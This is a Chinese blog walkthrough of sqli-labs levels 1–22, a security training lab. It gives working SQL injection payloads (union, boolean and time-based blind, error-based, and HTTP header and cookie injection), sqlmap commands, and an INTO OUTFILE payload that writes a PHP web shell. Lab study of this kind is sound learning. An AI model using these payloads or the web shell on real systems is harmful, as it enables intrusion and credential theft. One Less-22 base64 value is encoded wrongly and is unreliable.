又是疯狂打靶场的一天,这个sqli靶场真的好多关,我之前试过打过几关,没有坚持,但万事开头难,总归是慢慢打完了。

前言

第一部分就是union联合注入和盲注。

我这里用的sqli靶场是https://github.com/Audi-1/sqli-labs.git sqli-labs

把第一部分打完,你真的就成功一大半了~

union操作符:

UNION操作符用于合并两个或多个SELECT语句的结果集。请注意,UNION内部的SELECT语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条SELECT语句中的列的顺序必须相同

注释:默认地,UNION操作符选取不同的值。如果允许重复的值,请使用UNION ALL

Limit:

Limit是指限定查询的条数。有三种方式:

1
方式一:limit 参数1

参数1可从1开始,往后递增,表示要查询几条数据。

例如,limit 1 表示限定查询一条语句。

1
方式二:limit 参数1,参数2

参数1从0开始,表示从第几行(按照索引0作第一行)开始查询,参数2表示要查询的条数。合在一起的意思就是,从参数1开始,查询参数2条语句。

例如,limit 0,1 表示查询第一条语句,和limit 1等意。

1
方式三:limit 参数1 offset 参数2

参数1表示限定要查询几条,参数2表示从第几行(按照索引为0作第一行)开始查询。

例如:limit 1 offset 0 表示查询第一条参数。

union联合注入(Less-1~Less-4 GET)

Get注入

Get方式不能使用#,抓包会发现#会消失不见,可用%23代替。也可以用–+。

Less-1

输入单引号,出现报错。输入两个单引号不报错。

1
错误信息:''1'' LIMIT 0,1'

说明:’1’’

则在源码中可能为 id=’$id’ 

可以成功注入的有:

1
id=1'or 1=1 --+

此时构造的sql语句就为:

1
select......id='1' or 1=1 --+' LIMIT 0,1

(1)用order by判断有几个字段

order by就是如果到n出错,则字段数为n-1。

当构造?id=1’ order by 4–+时会报错,则说明字段数为3。

(2)判断回显点

构造?id=1’ union select 1,2,3–+

当id的数据在数据库中不存在时,此时我们可以id=-1,两个sql语句进行联合操作时,当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来。

此处前台页面返回了我们构造的union的数据。可以看到回显点是2和3。

(3)因此,我们可以在2,3回显的位置构造sql查询语句查询我们想要的东西

1.1获取数据库

①获取单个数据库名

1
2
3
payload:

id=-1' union select 1,2,database() --+

得到数据库名为security

②获得所有数据库名

1
2
3
payload:

id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+

可获取所有的数据库:

1.2获取表格

①得到单个表格

1
2
3
payload:

id=-1' union select 1,2,(select table_name from information_schema.tables where table_schema=database() limit 0,1)--+

得到表为emails:

②得到所有表格

1
2
3
payload:

id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

可得到所有的表:

1.3获取字段名

①获得单个字段名

1
2
3
payload:

id=-1' union select 1,2,(select column_name from information_schema.columns where table_name='users' limit 0,1)--+

得到字段名user_id:

②获得所有字段名

1
2
3
payload:

id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

可查到所有字段名:

1.4获取表格里面的内容

①获得单个用户名和密码

1
2
3
payload:

id=-1' union select 1,2,group_concat(username,0x3a,password) from users where id=2--+

可以得到用户名为Angelina,密码为:I-kill-you

②获得所有的用户名和密码

1
2
3
4
5
6
7
payload:

id=-1' union select 1,2,group_concat(username,0x3a,password) from users--+

或者

id=-1' union select 1,2,(select group_concat(username,0x3a,password) from users limit 0,1) --+

可得到所有的用户名和密码。

Less-2

输入1’

1
错误信息:'' LIMIT 0,1'

说明:’

则在源码中可能为 id=$id

可以成功注入的有:

1
2
3
id=1 or 1=1

id=1 or 1=1 --+

此时构造的sql语句就为:

1
2
3
select......id=1 or 1=1 LIMIT 0,1

或select......id=1 or 1=1 --+ LIMIT 0,1

其余的payload与less-1中一样,只需要将less-1的’去掉即可。

Less-3

输入1’

1
错误信息:''1'') LIMIT 0,1'

说明:’1’’)

则在源码中可能为 id=(‘$id’) 

可以成功注入的有:

1
2
3
4
5
id=1') or ('1'='1

id=1' or '1'='1

id=1) or 1=1 --+

此时构造的sql语句就为:

1
2
3
4
5
select......id=('1') or ('1'='1') LIMIT 0,1

或select......id=('1' or '1'='1') LIMIT 0,1

或select......id=('1) or 1=1 --+') LIMIT 0,1

其余的payload与less-1中一样,只需要将less-1中的’更换为’)

Less-4

输入1”

1
错误信息:'"1"") LIMIT 0,1'

说明:”1””)

则在源码中可能为 (“$id”)

可以成功的注入有:

1
2
3
4
5
6
7
id=1" or "1"="1

id=1") or ("1"="1

id=1") or "1"=("1

id=1") or 1=1 --+

此时构造的sql语句就为:

1
2
3
4
5
6
7
select......id=("1" or "1"=”1") LIMIT 0,1

或select......id=("1") or (”1"=”1") LIMIT 0,1

或select......id=(“1") or "1”=("1”) LIMIT 0,1

或select......id=("1") or 1=1 --+") LIMIT 0,1

其余的payload与less-1中一样,只需要将less-1中的’更换为”)

盲注(Less-5~Less-10 GET)

盲注有三种,分别是:

(1)boolean布尔型盲注

(2)报错注入

(3)时间注入(延时注入,基于时间的sql盲注)

Less-5 基于布尔型的盲注

输入单引号判断之后,构造id=1’ or ‘1’=’1

发现页面只会显示对与错的信息,不会显示数据库的信息,此关可以采用盲注。

(1)可以使用延时注入:

1
2
3
payload:

id=1' and sleep(5)--+

发现网络延时五秒响应,可以用延时注入:

(2)可以使用报错注入:

输入单引号,发现出现报错信息,因此可以使用报错注入。

①得到库

1
可以使用这个payload:id=1' and info()--+

会报错显示当前库不存在这个函数,所以数据库名可以看到为security:

当然也可以直接构造payload:

1
id=1' and (updatexml(1,concat(0x7e,(select database()),0x7e),1))--+

同样得到数据库名为security:

②获取用户名

1
2
3
payload:

id=1' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+

得到数据库用户名为root@localhost:

(3)下面采用的是基于布尔型的盲注:

5.1获取敏感信息

1
2
3
构造payload:

id=1' and if(substr(database(),1,1)='a',1,0)--+

将’a’可替换成其他字母,进行判断,如果正确会显示下图:

不正确则会显示下图:

根据对与错来判断输入字符的正确性。

这里我采用抓包然后进行爆破,可得到数据库名为:security(写成大写也可以)

5.2获取表名

1
2
3
payload:

id=1' and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a',1,0)--+

这里同样利用burp抓包,然后对标红的两个变量进行爆破,可得到表名为emails

并且将limit 0,1改成如limit 1,1可获取其他数据库,分别为referers,uagents,users

5.3获取字段名

1
2
3
payload:

id=1' and if(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='a',1,0)--+

同样用burp抓包,得到字段名为user_id:

将limit 0,1改成其他行,可获得其他列名为username,password,等等。

5.4获取表里面的内容

1
2
3
payload:

id=1' and if(substr((select concat(username,0x3a,password) from users limit 0,1),1,1)='a',1,0)--+

用burp抓包,得到用户名和密码为:dumb:dumb

Less-6

本关也为盲注。 通过输入单引号不报错,输入双引号报错,可推断源码中参数可能为 “$id”

所以本关的解法跟Less-5一样,只需将第五关的单引号改成双引号即可。

Less-7文件导入注入

本关是利用文件导入的方式进行注入。

构造payload:

1
id=1')) union select 1,2,3 into outfile  "D:\\phpStudy\\PHPTutorial\\WWW\\sqli\\Less-7\\1.txt"--+

虽然显示报错信息,但在路径下已经生成了1.txt

可以直接将一句话木马导入进去

构造payload:

1
id=1')) union select 1,2,'<?php eval($_POST["cmd"]);?> ' into outfile  "D:\\phpStudy\\PHPTutorial\\WWW\\sqli\\Less-7\\1.php"--+

然后可以利用工具连接。

Less-8

通过测试,id=1’ or 1=1–+是显示正确的。这关跟第五关一样,可以使用基于布尔型的盲注,以及延时注入。但是不能使用报错注入。

因为在源码中将将 mysql 报错的语句进行了注释。

其余的payload跟第五关的一样啦。

Less-9 基于时间的sql盲注(采用sqlmap)

本关可采用时间延迟的注入。

(1)方法一:

测试:id=1’ and sleep(5)–+

查看网络状态,的确存在延时。

①获得数据库名

1
2
3
payload:

id=1' and if(substr(database(),1,1)='s',sleep(5),0)--+

查看网络是否延时五秒,是则说明字符正确,不是则说明错误。

将标红的1依次替换,可得到数据库名为security。

②获得表名

1
2
3
payload:

http://127.0.0.1:8099/sqli/Less-9/?id=1' and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(5),0)--+

查看响应,依次类推,得到表名为emails,referers,uagents,users

(2)方法二:

我们这里采用sqlmap来检测时间注入

9.1判断注入

1
2
3
payload:

sqlmap -u http://121.5.52.144/sqli/sqli/Less-9/?id=1 -p id -v 1 --technique=T

sqlmap检测到为时间注入:

9.2获取敏感信息

1
2
3
payload:

sqlmap -u http://121.5.52.144/sqli/sqli/Less-9/?id=1 -p id -v 1 --technique=T --current-user --current-db --batch

(–current-user为获取用户,–current-db为获取数据库名, –batch表示使用自动模式,默认为y)

获得当前数据库用户名为root@localhost,数据库名为:security

9.3获取表

1
2
3
payload:

sqlmap -u http://121.5.52.144/sqli/sqli/Less-9/?id=1 -p id -v 1 --technique=T --tables -D security --batch

(-D 指定数据库 –tables 获取表)

得到表名为emails,referers,uagents,users:

9.4获取字段

1
2
3
payload:

sqlmap -u http://121.5.52.144/sqli/sqli/Less-9/?id=1 -p id -v 1 --technique=T --columns -T users -D security --batch

(–columns获取字段)

得到字段名为id,username,password:

9.5查询账号和密码

1
2
3
payload:

sqlmap -u http://121.5.52.144/sqli/sqli/Less-9/?id=1 -p id -v 1 --technique=T --dump -C "id,username,password" -T users -D security --batch

(–dump是导出数据,-C是指定查询的字段)

得到账户密码为:

Less-10

本关跟第九关一样,只需将第九关的单引号换成双引号即可。

union联合注入(Less-11~Less-12 POST)

post注入

不能使用–+注释符,因为抓包发现加号被编码成%2B了。

可以用#,减减空格(空格被编码成了+)

Less-11

在username的输入框输入:1’

出现如下报错信息:

1
''1'' and password='' LIMIT 0,1'

说明:’1’’

在源码中可能为 username=’$uname’

在Less-11的index.php中:

1
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

测试:1’ or 1=1#

可以登录成功:

11.1获取用户名

①payload:

在username的输入框输入:

1
1' union select 1,user()#

得到当前数据库用户名为root@localhost:

或者:

②payload:

在username的输入框输入:

1
1' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))#

11.2获取数据库名

payload:

在username的输入框输入:

1
1' union select 1,database()#

得到数据库名为security:

Less-12

通过测试,输入1”可以看到报错信息。

1
'"1"") and password=("") LIMIT 0,1' at line 1

说明:在源代码中可能为username=(“$uname”)的形式。

使用payload:

1
1") or 1=1#

可以看到页面返回正确的信息。

其他的payload就跟十一关差不多,只需要将十一关的’改为”)即可。

盲注(Less-13~Less-17 POST)

Less-13 基于布尔型的盲注

输入1’,出现如下错误信息提示:

1
''1'') and password=('') LIMIT 0,1' at line 1

说明:在源代码中可能为username=(‘$uname’)的形式。

1
使用payload:1') or 1=1#

页面出现成功提示,但是不像第十一关和第十二关那样出现用户的账号和密码。

(1)可以采用基于布尔型的盲注

猜测当前数据库用户名:

1
2
3
4
5
6
7
payload:

1') or if(substr(user(),1,1)='r',1,0)#

或者可用like匹配:

1') or if((select user() like 'r%'),1,0)#

用burp抓包,对标红的两个变量进行测试,爆破出当前用户名为root@localhost:

跟第五关的基于布尔型的盲注差不多。就不重复写了。

(2)可以采用报错注入

①获取数据库名:

1
payload:1') or info()#

显示出了数据库名:

②获取当前数据库用户名:

1
2
3
payload:

1') or (updatexml(1,concat(0x7e,(select user()),0x7e),1))#

得到用户名:

Less-14

输入1”,出现如下错误信息提示:

1
'"1"" and password="" LIMIT 0,1' at line 1

说明:在源代码中可能为username=”$uname”的形式。

1
使用payload:1" or 1=1#

页面出现成功提示,但也不显示用户名和密码信息,跟第十三关一样,

(1)采用基于布尔型的盲注。

只需将第十三关的payload的’)改成”即可。

(2)采用报错注入。

也只需将第十三关的payload的’)改成”即可。

Less-15

使用1’ or 1=1#能显示登录成功的信息

说明在源码中可能为username=’$uname’的形式

本关不会显示报错信息,采用基于布尔型的盲注或者延时注入。

(1)基于布尔型的盲注

①猜测当前数据库用户名:

1
2
3
payload:

1' or substr(user(),1,1)='r'#

将r替换成其他的字母,成功时显示成功页面,否则是登录失败界面

或者用like匹配:

1
1' or user() like 'r%'#

②猜测数据库名

1
2
3
payload:

1' or substr(database(),1,1)='s'#

将s替换成其他的字母,成功时显示成功页面,否则是登录失败界面

或者用like匹配:

1
1' or database() like 's%'#

(2)延时注入

①猜测当前数据库用户名:

1
2
3
payload:

1' or if(substr(user(),1,1)='a',sleep(5),0)#

如果字符正确,则延时五秒返回,否则返回登录失败的界面。

②猜测数据库名

1
2
3
payload:

1' or if(substr(database(),1,1)='a',sleep(5),0)#

如果字符正确,则延时五秒返回,否则返回登录失败的界面。

Less-16

通过猜测,使用1”) or 1=1#能显示登录成功的信息。

说明在源码中可能为username=(“$uname”)的形式。

本关不会显示报错信息,采用基于布尔型的盲注或者延时注入。

本关的payload跟第十五关的一样,只需要将第十五关的’换成”)即可。

Less-17

本关是一个修改密码的过程。在尝试的过程中,要输入一个正确的账号,如admin,然后在重置密码框测试。

密码框输入’时,出现如下的报错信息:

1
'admin'' at line 1

说明在源码中可能为’$uname’的形式。

使用报错注入:

①猜测当前数据库用户名

1
2
3
4
5
6
7
payload:

1' and extractvalue(1,concat(0x7e,(select user()),0x7e))#

或者:

1' or (updatexml(1,concat(0x7e,(select user()),0x7e),1))#

②猜测数据库名

1
2
3
4
5
1' and extractvalue(1,concat(0x7e,(select database()),0x7e))#

或者:

1' or (updatexml(1,concat(0x7e,(select database()),0x7e),1))#

HTTP头部插入(Less-18~Less22)

Less-18 基于错误的用户代理,头部POST注入

当输入正确的账号和密码时,比如账号dumb,密码dumb,可以看到出现如下信息:

可以抓包修改User-Agent的内容试试:

将User-Agent里面的内容随便填写,可以看到显示出了我们输入的内容:

此时可以在User-Agent中构造注入语句。

利用报错注入:

①获得数据库用户名

1
2
3
4
5
6
7
payload:

1' or (updatexml(1,concat(0x7e,(select user()),0x7e),1)) and '1

或者:

1' or extractvalue(1,concat(0x7e,(select user()),0x7e)) and '1
 

②获得数据库名

1
2
3
4
5
6
7
payload:

1' or (updatexml(1,concat(0x7e,(select database()),0x7e),1)) and '1

或者:

1' or extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1

Less-19 基于头部的Referer POST报错注入

当输入正确的账号和密码时,比如账号dumb,密码dumb,可以看到出现如下信息:

这题的思路跟第十八关差不多,只是将User-Agent换成Referer。

用burp抓包,修改一下Referer的内容看看:

的确显示为被修改的内容了,然后在Referer中构造注入语句。

①获得数据库用户名

1
2
3
4
5
6
7
payload:

1' or (updatexml(1,concat(0x7e,(select user()),0x7e),1)) and '1

或者:

1' or extractvalue(1,concat(0x7e,(select user()),0x7e)) and '1

②获得数据库名

1
2
3
4
5
6
7
payload:

1' or (updatexml(1,concat(0x7e,(select database()),0x7e),1)) and '1

或者:

1' or extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1
 

Less-20 基于错误的cookie头部POST注入

当输入正确的账号和密码时,比如账号dumb,密码dumb,可以看到出现如下信息:

可以考虑在cookie中添加注入语句。

Burp抓包:

因为是cookie,之前没有登录过,所以没有值,我们将请求发送给自己,然后可以获得cookie值:

点击两次发送,能获得cookie值,然后发送到重发器,再从里面添加注入语句。

①获得数据库用户名

1
2
3
payload:

uname=Dumb' or (updatexml(1,concat(0x7e,(select user()),0x7e),1))#

②获得数据库名

1
2
3
payload:

uname=Dumb' or (updatexml(1,concat(0x7e,(select database()),0x7e),1))#

Less-21  基于错误的复杂的字符型Cookie注入

当输入正确的账号和密码时,比如账号dumb,密码dumb,可以看到出现如下信息:

跟第二十关差不多,只是将账号用base64加密了。并且只是对uname是进行了(‘uname’)的处理。

①获得数据库用户名

1
2
3
4
5
6
7
payload:

uname=Dumb') or (updatexml(1,concat(0x7e,(select user()),0x7e),1))#

将其转换为base64:

uname=RHVtYicpIG9yICh1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IHVzZXIoKSksMHg3ZSksMSkpIw==

②获得数据库名

1
2
3
4
5
6
7
payload:

uname=Dumb') or (updatexml(1,concat(0x7e,(select database()),0x7e),1))#

将其转换为base64:

uname=RHVtYicpIG9yICh1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGRhdGFiYXNlKCkpLDB4N2UpLDEpKSM=

Less-22 基于错误的双引号字符型Cookie注入

当输入正确的账号和密码时,比如账号dumb,密码dumb,可以看到出现如下信息:

跟第二十关差不多,将账号用base64加密了,并且是对uname是进行了”uname”的处理。

①获得数据库用户名

1
2
3
4
5
6
7
payload:

uname=Dumb" or (updatexml(1,concat(0x7e,(select user()),0x7e),1))#

将其转换为base64:

uname=RHVtYiIgb3IgKHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLChzZWxlY3QgdXNlcigpKSwweDdlKSwxKSkj

②获得数据库名

1
2
3
4
5
6
7
payload:

uname=Dumb" or (updatexml(1,concat(0x7e,(select database()),0x7e),1))#

将其转换为base64:

uname=dW5hbWU9RHVtYiIgb3IgKHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLChzZWxlY3QgZGF0YWJhc2UoKSksMHg3ZSksMSkpIw==